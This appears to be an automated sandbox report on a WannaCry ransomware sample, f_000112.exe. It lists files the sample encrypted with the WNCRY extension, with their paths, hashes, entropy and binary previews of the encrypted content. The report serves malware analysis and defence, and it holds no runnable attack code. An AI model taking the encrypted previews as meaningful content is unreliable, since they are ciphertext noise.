                                                                                                                                                                              MD5:D398A4932337746C987A6DE8EFE1F907
                                                                                                                                                                              SHA1:E6F25B9069F08FCFBED785F27F75C76222CF113F
                                                                                                                                                                              SHA-256:5C46AA3BBEA690B822463BD5CC6D813B073B9C0B5569C71EF371A19E4D38D004
                                                                                                                                                                              SHA-512:C1C2DC9C79EB65D52E790803E4C72F08F57F41901DA893CA2AADDA83596A2F5F2E12E656F04E20344E7073801E4768645B8592B7A806EE338B5D2588618C14DD
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......H.3m.;......C\....7.w.^.B...h.YR...Y'.?...;..;.r..DS@...RL........@*B6;...p.e=....y..%....AJg@?.2...!.qV.I*....5wK ..p..K7.....[.Y.....qzG........~.e,.m.I....q.Y~u..^.43.R_...s(O...Y...{4.....L..6Z.....#....1w...?..rda..T..Z.jpJ"...w./.$.=.....u....../.].5.B6..Vr.......e..q.....1..;..E..k............]..$).I.5.g.Wc.O?5i.P...L];p~..O..;...f1@.7...g4A.G.....`o;..&.....p..E$..v..........X4.z..U.......~...w....j.r........Y..{....H2...Ba..O..!Z.BGX..&]k...........t}J..fL...qj.c.s...S.A..~T7.m.15.E:.kA.D.I.V.P<...:..'..Uo.D.......k.$q8Z..r...u.>...&......cC....m.*....QI...n..is..%.,..-.xH.*.l........no..J3.Z..7...4a.'Z.I..'..5....R..".4.......E..(.Q.....0.........;..dn...[P...L:.?...0.w..mf..}....r..P.I8...BQ^.A3.pMJh..o...l..k.U....?.<_U@7..U.)$L....y.S(98y..q/..n>.[g.K.t.8....T..r....GO..W.N..Ok......,=.c`.M...C8.s.. ).P(0)C..o.B.....p2.h.x#O.s>...].m<[..lG9W.."...Yp..9.Yu9o6..7.8.?-.`.l.K.U....X.G.:A.v.;....>]...FK.}..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\automation.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4552
                                                                                                                                                                              Entropy (8bit):7.954125503027385
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oi9ottC0jjm93U42Mv49gWUYsebJpb833UILK9fMLQi47VN9mrX7N:T9oLC0jK3zZWI2onXK9fMLQBN9mrX7N
                                                                                                                                                                              MD5:41711EA564656CD6FF0BE629036D0FB5
                                                                                                                                                                              SHA1:5CACE9035E48A6EC7C82FAD3AD31320BF80DFC90
                                                                                                                                                                              SHA-256:1D6507AE67ECA71530C47796769BBE765FC0A607882644AD4FB0FFBCB20CBE62
                                                                                                                                                                              SHA-512:538060CD0CFDFE0CBCF267D621FE3B7097093881F6568D9D31808F8ED2501D3837E6E19F8343BE5D9ABEBDAB90584D22DE1F11A046B5A474D0CD432876DD91DD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....f.j<..G.....l,l.wqZ...9.9. _...."...|....c;..-....S^.m...*.{...W...I-wO.2V.z.A....#.}Z....;..^.._.....f.....%.\...F.'._.yK*..b..V.0...kE4..=K..D..#.k....x.'^R[....7AI.)tw...0..........4.Q.....E...3....9...\.$S.#L@.t..j..P.S.(..#&L.l..H............h.7.....Y..$ND....|...oc.....ke(R...Y.....4'8K...C..w\?V>.Y.]..[[.).....U>xo#....J5..>?o...(.v^....r..R.>....?p.'.<:.=9QXT.).b.VMH..V.P.qx>.....>.!..t@.....B.=z.E.i.O.R..{rb........r\Rt..+]...M..1..X.FH..4..x.`..17 ..s.Nn....q.T...k.4?.F..{^.k..XBPG4h....5.#.y..kEe.o.$..C]..d..K.7...C4yi.{#...p..#~m.XWhl(....v._y..5..v.C=S..9q..r.....e8..+N.cLm..:.+.D4......Xoq..%Qj...y@j.1L.mk.k.....:...U.x^...2.Wv.......<.....F...s.1.[.e.i...]....y."y.........x.e..z....N.d..2...g.$kS..]...fV.w.W...g.S.,.Tzi..Rn....i..KwT."X(..];....m7z...F..V.N .L..:...I.g^._.[..R*:..+k.C.d}l.82..y...0.K.[X.vc.@P..o.s.v5.........7....).:...:-y..l..../.....Z1xk..)$.Z....%c..lgd)U..I...2?..W.k...d.Fe..3;.B.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\classification.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1144
                                                                                                                                                                              Entropy (8bit):7.834931095110053
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk6BF9sh5jtFT6cnQEKEofOmpVdOX3Is/EU+cz++XzEwCP4kjUMu:bk6BFuhTFTXndKEGVC4s/ERkzy5Xu
                                                                                                                                                                              MD5:E3F75DC13EBD54779563226D7B4DA040
                                                                                                                                                                              SHA1:188E9EC449208C64F2983B37AE453C1A1D73DB3D
                                                                                                                                                                              SHA-256:F7B926BC64A81B7FD7B6502D7FEB2C03867586AF642BCB6C40223449C0207001
                                                                                                                                                                              SHA-512:9242635889EE09D1DE56DAB96841C3FBF855548A660FB7ACFE4B6D414C33FFAB23C096149CE2298BBC5923D2616FD8E752CD22567C967B98F3ACA571A5B96D78
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......`GSZ.$..K=.\.E..a..p..k...A...)..HW${.b*./............D;..<...Q.~..,.$.I./.....?N.....J....i.......4....Ni.H......n[n...@.....)....6 ..2.~........Ij.....<.......1k........S../1..!.%)...^..........t.Y".s.Jp.y.;.....;.pa4<............+."H...._........ra.L..MH...w.F..;...K.Q....X.....H...eM<\......_*?.m... ...ZC.dej.j,Ij/Pz.a...gz.S............./.b..^...D...?Q..b.`..0y.g..z.N........^..............m...?snT..PdG...iG .-.....e..\6.'4+..&..w|-..:s.w....%...B....v...s.FP.Q..]...-K...O.B.Z.A.cn`.>6!:7....~..&.x.v....T.N\...h...t5....g.....Z.:.......W.....X.91.A...X.....,./.A.....K..1.n...V.)..6h.:t....j..tt...]wH.AT..G...........l.f...+O.f.H).s?..=..q.....Ls.....].g.dTt).d..9;.?]2...9H.^..?.........a.[k.BF..V...l6...:..v.:oTu..\....[..OY...<..y..8P...0{...SF...4......).o.*%.B...>.....:....b<......H\+...W.+_...Eg8...=.lXp.U..>f.*Jt.P^.QX...{:.T...&cD.[.l.....[..=.....A...........@2eV\S\..Xq4.....h.M..+)..D[i........].8...ud..}*..d

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\extraction.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5608
                                                                                                                                                                              Entropy (8bit):7.96397780500516
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oNJEPXrVVQBPCgATFk2Bv/mprq/SKxGcOT4NZThRj5PoOY:zPJVQNQq21/G2/Sg6TYn9a
                                                                                                                                                                              MD5:04FEC625DD77AD703EE2A83F4AEE5039
                                                                                                                                                                              SHA1:CE7C52E70D98F2FABCD272859DA27ABA598C60FB
                                                                                                                                                                              SHA-256:891CD0344510B38E9EBF2CDB88C3466D803BD8922C7F9D603D576FC567FF1498
                                                                                                                                                                              SHA-512:36571AC4E271D11547C40756B90581DEC5C81FEF18FC96ABC334394EB1FB03C0E5845A4248BA159B8BBF74128007AFC64082B13BAE773585DA82415D0E3ADC37
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......y;.9....![...k~.....J....5..m....zNF>....J.}f..J.8.....LK..._.{...U.0.E1..}.c.y.R.'..3G....:B... |..j...`.C..r.k#....Ec.1.|.*.'..:.7.......}.>....P..Q~...V.........z.$bk.n.cD;..8`.l.L|+V.Q...c.N.'\.D..P-9... ....Q.v....../..m.N...z...".................Z....."...d.v_..V .>....V6......$....5.Q.5.........b.o{.z......._1.a..M>..&4..J...EJ."5.(....`...... +...o...">....:.g....8q..u!.........T{...J......C.%.,.)..R..lg.n.z=^.....W.,.~Qkh......i..T|...cz=:nbt..M.I..i.DG..u....Q9g...9...B...tE.'..Z..E..Q..dQg...[.@..,.'=x.k!.k...Z...V.v....y(C.h...n";.......Qe...`MU..p$....I`.m..S..[}.....0...dhI. #.p..;....(?.}.n.t..?O....'........".#Z.K.?v.-...f..v....V..yY...>.Q....F.D....H..k...7..A...O?...*....9m._..Cy].($=....T.=_?..V......e...m....*.DR....S5..)}..$k9Q....q..x=..."..d.....].......'....^..N.}i...<.W.`........?.....P..j.C.g..[p!.D;L]...-.CBO.*.0...M......*{....~...&.....o6......X..#.!.|I..r.w..V,.hL......W..H.D.j..>.,

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\app-setup.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):488
                                                                                                                                                                              Entropy (8bit):7.4889472721369295
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkE0XIPlD/6Wj99BUlLbO/omyUK3EpfY9zKLZJ:bkLXIPB/pBUlLCgnEpfY9eLZJ
                                                                                                                                                                              MD5:75DBF31A0C0105C40D15CE5116D488CE
                                                                                                                                                                              SHA1:95DF46396DC48729D5176B224BF825529A63B10D
                                                                                                                                                                              SHA-256:62B65009BB11320C5DE385DE3FF7447F0C748853FF0E14E52D76221A95E11FF9
                                                                                                                                                                              SHA-512:C4975378149BBA1F3AE46CF698EE08B87B79A2AA85E5217BD1F81C82BF476FACC45D3A1747CA5A3D83A623B0844EE14E233EF1957B449651921D86B242C39756
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....1.Z.......)..AHJZ.....Q....o.i..."..0).0..v..:?:<7....)]9........>.:.G....5qs;...:E.N.W.I..(k.9.BI.q.r...I.r1.Ex'..v` 5[...u...N...>...'(v...z..Z.u.3r.]+....F.'. B*\2/L,u..........d.:....\G...~...`_.(..!l..WuU.u...`.j....B6.Zu.'...9...os................c..z.......V....P..{..X....X.eS.Xx.5...H.dH..Q..N...$ta....zr..r.......v..$.KK=..7...x.........O.m..:p..r..#.Y{.......].ko..8..(.......!....^ ...ZR.....b.L.aStC..2....Q..f.V.A`.......C..[..2....wJ.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl_driver.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):11832
                                                                                                                                                                              Entropy (8bit):7.9868141992574495
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:EVS0Pj9dd9WvNt+l+alBpcba4McGVnlwSijqP0Aj12bXTmySwTEVs7V2JTvdzb5H:EwSj9dXaAsalByb8N7TijE0AjeDmFwCN
                                                                                                                                                                              MD5:E465ABD3D47E5320637B38C6CB38C6D8
                                                                                                                                                                              SHA1:73B9F4F0117DA10F68A15DDE5B79278916FA6FE1
                                                                                                                                                                              SHA-256:45DF7BA295498FC79BA8A7FEE4A80EE92A2A7DD5DF16418E99B3A4550A63DE62
                                                                                                                                                                              SHA-512:D70027D398DD5C063B7B21BB5C86D285C880ABE2611C7E3F810242234F04741D8940DDD282366D2422B7C2FFA100242959F97EB1D888C0D6BDA3DEA866F420DC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......n......./.t.....C..........k.j..@Z|p.f.8Q.]".^..J....d..0-<?$.".zhm/..9.=\.~;.\AY.f6..eM..U..W...tW..q......0z~U<!..d.........W.,..[.?B.*$`..u....Q....[[..{..?<..~<^....Qoj.M..i2.G.`..3y.[.n.....+...p,..C...<o.....W...D....4.!8|...=K.,[\D....N......-......L....~......:c"2.. .'A...F..[..-.......&....[./........'.n.B....>>.+..N...,..id.]..=)....d........L..?g..u{G....by....>qi...........H..H...2..}4o4..z.-..J21....&.......@zSE..o.T.]!.|.Xr..]BG.....W..~..T.|......d...+4G.n...D............&....m..qoH.nk.m..N-7....z.>.7K.Q...$.IU C...Y.Y.`.....0..Y{.@.c.bY.H..H.<H7...........'..c).....A.2.P.f..3;pI...q.X8+.....9.$.(n...+ .,.F.........t."^.*..Y .@.d/...>.F...`o*...\.0... .k-..7.}.fY...f..m..!.t.J.....^W..{|..E..1u..|...GG5..j.Zg..........A..Z...]!.E^aD../C...$oY.Tb..3.U.....$.#.L.C....7....)|..E...X..u.!.A...D+....*.. vE..}.E....2.....t........T.X.k.d@......1=.....]\. 5....M.<..xNi2.o>O..W...^.......\;.............T.i.(..'.b.ps...H..j.G

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1946312
                                                                                                                                                                              Entropy (8bit):7.999913607340699
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:omiKM6tXfLfDeMnUXHSSat1DuKSHdnJFXQuruyDF0d0:cKTreMnoHSpD3SH5bqyDK0
                                                                                                                                                                              MD5:B3F63E6327FBF71BD52DEE5C8D2BEF23
                                                                                                                                                                              SHA1:A67E23CCB5D0E5CA45FA4DEC3DEFED62A1F73354
                                                                                                                                                                              SHA-256:0A81A73890B4745BDE54F989BF1837D1B05B69A73D204D9C07269B3FCE796F3A
                                                                                                                                                                              SHA-512:0DC3899F0EB9C7B1572ED44E53E93A2AE0B861CE719C4A399737D422420E54F972A2410DCD22C50A34D4EA711B809CCED5580D141116CCD61335590D510CDAF0
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....2.X.c...C.G.JU..aa.t>......t.eT.@...iz.J..W...q&.,!..1..z.!..+7@. K...u...|..(I.o..C.i......'w.L.k@<.....hl..:....x.7|...c$...|...S5....s.!1....U.^...k.!U..d"..`4.S.I.9.v..I...y ..Vq:.x...].....c.d....f...{.d...F;(......U.O..R\.5....+._.yY].6..f............!.......|..6..i;..O8@.#...h...vU/Z....KL_.d.....@A...7.I.3..N....{....@..|r...vs.(.e.a.......%...U.....qv ..*.X`.M.)....EK....../|.Mq.*....j....T.`.v.v..q.#2nq..+7.[..... -y.._uU..p....'.f...Gi.\......w\......i....-LM...lD..z.ig....b.q.H(x.N.RiO7..r.==...hd....W..;.9y+jP.[...C.IZ.6E.{....*Or.U..r.....x.f....g...O?......"].2.).:T.%....de..X.wL..>S...Dc.....U&.....x.6....e.6.....3.T. U.......('..T..\ik..4..G-...../A..M.....}..2.w.AN.{.....BA0.vi.rl;*..8r8..$...$........._XKx...jE..>..F..bd'...^...Wi....K....O....:....!ln....[|.r3..@.v..2JI...~!...gN;|....^"....d`.#..)y..:..=.l&..0.>.H.o...?.J.1DV.[........m.....u.(G...t5Ih.K+Vp...Z........X}......2..x..+4...+19......".W..<...tnd.M.O....2

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet-icon.svg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2008
                                                                                                                                                                              Entropy (8bit):7.906039134682304
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk/JetqQ4F06AjqJuUQDjNmsfLpqjCC6/clbsQx4a1:o/Je52mqsNDff4I/cOQZ1
                                                                                                                                                                              MD5:235E11F6EB36EAC3358850DC65452FF3
                                                                                                                                                                              SHA1:AB14C83F44BCA89BA8CC61C2B0C90425DF4F8A4D
                                                                                                                                                                              SHA-256:BCC43B1D90A496CDCEB22646FCB055A4F94DC035BC6B755A4571C7058EBBA25A
                                                                                                                                                                              SHA-512:8D4FFBC9194B0290616D238819006E925158444570C9A040099D40A0013880E516A0877F2BE5E6761BE7582512E8BF8F5268FFD2AE817D85F40111E7A5D53CB4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....A....... ..8.s..)I.....6.W.*;...^....o|q#...*".s...L.d<!.....%G.y...i..K....BAIl:.>.v%..M..1R..V....S[.....S...U .>.L..a.Q...6w.i.(.{..[9v....[..^..bu...{.wV.`.4A.u..^.....Q[..|........:.Q>D^s%...\.......~.{.W..k...T......k.l.\9.!3..M{....\7..St............!N.v........S....7..z..3..p........@)|........Zz..C.O/.D...S......#.....!.c9..._L.3.Uz..E}R(.E.'.anV.Gt.[4.nV..DX..^.8_. .').eu'.P)/.)......xV;....s.d..].lw.sh..\(...|..ly..i4.Js....`a..C.N...,*....@.{?.+..V...{..s.......o.N..N..>.<../}.....,_`!8.....a.t{Y.M7..BE^...g1..K..:....}./..X....]j.........q.B..~.wYWg]..#...@!..)..E..K`..M.k.0....WD...RE.-.M....S..7..t......E..."B......r..x...0b6.^'U1c......y1...|uF.:F.....eR.......`e;...Lw. V.9.b.R[...6....p:.....X~O...]w7.3.....a.7{.C0.7W..p.HI..G.9|....=q..+...t........:9...e.d.r5R..r...U.F5.E...:....4.E..~Bo.r.........u.!..v/N..~..P.h.$..1.....<a5.5r....5.G1...U.i~R......YM0...%.i..[E......9f..x.E...D/...E.@...\..D.:S......8..b..c

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.314060391855953
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEQif37aVgkDl3WSOo/AE+a0puv/KxkJKHzcIBeYiaJlHY3q5be:bkEQiGfl3fAE+a0pvkE4weSFY3e6
                                                                                                                                                                              MD5:6643B02249A12833F2731BA3EA74F33D
                                                                                                                                                                              SHA1:3853257F0497C7C2CEA3112C1EEFE0BB92C18F8D
                                                                                                                                                                              SHA-256:78827DA12A4DEA8859E27C20F8E896D441A734BF10C9FD354EDED9B12C6EC196
                                                                                                                                                                              SHA-512:C1563B6A75D1F74022B5D6B95F53D3CD71016E532C61E684A302FC240F5104AA7266A8292BE7FA4AEC4BD855FB10AED906F143A795E4E3FE2EC702A86F032C9A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....%..;..B.1..Qt)Cf@@......``.Nf.M.E.T..2t....K.9...R......j..1.<.C........z.$f.8|.%.P.]`0.*X..}$.".L...{. ........ ."......g.A.I.....#.....c.s.G.z......Z....B......97l.$Tnr..;.:.:^.-B4fzV/.j<.F....P+.)....Kk..d/..w...cA.H.9..~...2..9.x..8vhD...C..................SYq5.U|......G.. #..1n.& ...70

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\AN5UOLP8\ReportOwner[1].txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.167822008001005
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEtjGrHlK690CsQBbPjMibo6e+NsWemJZGc5pWz7szv9caFxC2K4R:bkEtj8FK690mUibnejWsg193Fo2jR
                                                                                                                                                                              MD5:31F50A1547AA35BEC7E68406A78FD4B9
                                                                                                                                                                              SHA1:D7BCD80085BB109F44CA6CEF96E3C65D0A86359E
                                                                                                                                                                              SHA-256:757F6737BF02F393ED2F593A0C7BE201AF1378B7E4D4DCFC663101DC6C311E86
                                                                                                                                                                              SHA-512:CD9B472D088AC2696DECAD00CEBED3678ADD431F801B86F7AD1BDA5E923F71EED480A61EF5C998A52998FBC461B56D85724E05CDC15A00DFBC3DF32077634C38
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....;...8...g....f.......=@N.......V..z.uE.Q.k.......-....\.8. .."./...r....1.+..Hfjh.&.).Mx.\1..._{M..I..{......#.Z.7.c.....O..dD:9fx=.........PP.....?]...K..&.Z*.Z*.b..?... .L..a...MN...;...V.`.,.|.z...7QO* sd.0..aB..M.....y .W);..x.z2`.....................j.'.'..a...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\C7S8M5VS\ProcessMAU[1].txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.132108599241045
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEchjv6hGUmU0khuaiMTTEWB9oqlnLhp/mf1TSPFWPslDab:bkEAv6hGU3tSs/aqRLhp/k2YEu
                                                                                                                                                                              MD5:143A4CDA94967EB78C6FF14BBB6D807B
                                                                                                                                                                              SHA1:DAD0B73F19F02E8CE90D49C44AB34D7F9290C24A
                                                                                                                                                                              SHA-256:C3CE4DDAAB8739338555EBCE621FD0BCBFAF1FC8B598643759E9188367678F32
                                                                                                                                                                              SHA-512:9144B917A77375FCB9C5F75DFDFF38DFC469BB4D915AFA5187C1F31D4060CBB555C2ED267F4CE3F592FF4FD60722B90707EC79267E96C32F8F97B69360C52885
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....J........^F6..1.....1..O.F.J.4... ..=..D..K....wX.*c.=uc...UK....-.bd..i...a<..{.|.*'..I..?..j./d...MZa..s,..A......B`^.G....\.D..g..,...W...c...J@..I....r.).=.....EyC0x.N.~.[@.g...f.../1i>.~.}.vR..u.;c....H.x...`>.6?.X`^.....?....hL.U.)s............o.,.a.X.Q..i..B.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):20760
                                                                                                                                                                              Entropy (8bit):7.990253280792902
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:Ypij2KGhZ+allTvlpH18jmZbfxCWuLRSxKlM9Ce:Y+hGhld9pHOSZdH2wxKlSCe
                                                                                                                                                                              MD5:C030FF2563123D4A5F92EF7759AF1B79
                                                                                                                                                                              SHA1:8B9EE136E8308FC4BCF6B15CFD317AD10750F7A4
                                                                                                                                                                              SHA-256:118440E6A950682D31933EFF6DEDF6B7B9DEA9E9E249E0014ACE4B880CBC0F2E
                                                                                                                                                                              SHA-512:E0F9AC8896C04DB7B5BFCAE4044C42EFFF169FBC319018DB658342A40FD6492BC2DD44DA7A73CE665264FA85CF5FE6FE52D9E8BAF5314DA5B43018A2A5224A0D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....l...,&U.{.D."...l.%.s..{..z.b2. ...W.zb...Y...1-.+.P......\.t.H.........`H.....5..5Z....Q...HS.......Nu..oT..]...!.B.qI..J......>.Ps...Q..r.{..;3...1.E..0a...[..Ky.v.#..x.R.?.._......%.Zx....3>;.Q...<.........6....e.wa.wm.l.!X.. ...|.[.......R.....P.........r.ZMi.x[i!.".X....Wz.)sA......n%.._5..?#....y.x...="v..Z...-.H>D..fldR....M2A.D.......H..GB....H.ug.......F.......?/gb/....'....V....#...i...Fr#BaK..c.#m.....o.GP"yI......;%o~....q.......hD..H.F=...L.m..x...,.zk....J...T.Cl.9..(.e..1#./.....?.s_......I..wd0.^.P.a...o#. .......J....p.^....d.H..QGo.{...+....*..y.S.:...U5..W./..8n.......s....e..&.w.......t$=...>.....5.W#.._j.9Ve_0......{.t... x...(..'bE.yR....!....`..#..+......)...g.~..R..........C.lM.>....j.6....8so..}P..!...}......F.1-.....2),.#v4L.._..}..............N...]..x,...4..E....@..Jl]J......m(."..Z}..`x..]&..4.d.p...NR..w*.1.q...!.\..4]...J..j.m..@.D#`....s.N.{.3.......jz)JGy.<.1`...*S..XV..<_ja.K}..oy........_.%$M..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1179240
                                                                                                                                                                              Entropy (8bit):7.999834850192686
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:ZdN1QpIjtEk3tZLr/gEBCESCSp8IPa/uOPpSmrKK+juxkTk/3suWb6UY:ZVjtx3tZLr/g4CK3uwpSo+juxzfPWGUY
                                                                                                                                                                              MD5:AA0E9E125E9DDDEF2580F414919C144D
                                                                                                                                                                              SHA1:C5C47F0495946AFDFC64029554D5F3B3F943E775
                                                                                                                                                                              SHA-256:1698A53FADBAEA71534358EA357F82E256371B6C5C1D76870E6A5A8BF2032E90
                                                                                                                                                                              SHA-512:055621E83ACBBB037CE5C0FF205327D1865C3EF4246C12A243B4EF04EE97D064B48DAA0B883E9A8F436B29B2967C45B25F56F8E49066960014AB9112E2F30DBB
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......Y..G..vx..V..I;9/.>..B...h./.|WD.........\36.g....+J....(0j.............SNO.G...D....U....F.b..Ka....e.Q)X...b..k..;....)...7.T.fg.DT..d..q....W-+..7|..Er. ..4...\4w.z.B..f..'..(wy)...G.j.k..\........vV......... {9X=.........,w..[.(..3....)....D...........C....7.R^+h...L...2v"..^.J.WV..5..wy.\... .y...........Lu:....@>...hD..n....5h.S.K\..{...l...p..Bg..*...z....5.X.9..s.,.(&%*;f{p....M]...O.<.b&\+.)!...F...k8P.@......r....&.J...J.|.?7..~..C...<`e.....|M.&x.nH..~.H..,..0._..........f.....K...._'...\2.......K..*.~.X[..+...TP.....V..I..B+..W...).E...Y;.....]9....#cm..dnc.<.C.%...].....S.....&.g..a.n......0r>.a...Y..#........hm....He-..o..... .;..E.pV...[r.Dhr..m.S..iz&.q]l6>d..xT...k..gI....X... .Z+..fe.*."W.H...........g.oN/w.DT.3...A.....6..(44._.\ .../..8.w.~...x.@.....Q.&.`...67...I.Z..[. ..d..B....1)B. .....`..Z.(E...J.!......=...wk.........;...;qO./.(.....Z^h'I...l...U*..o.s.,.L9L...v.s......JD......#.@.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1010680
                                                                                                                                                                              Entropy (8bit):7.999804828009464
                                                                                                                                                                              Encrypted:true
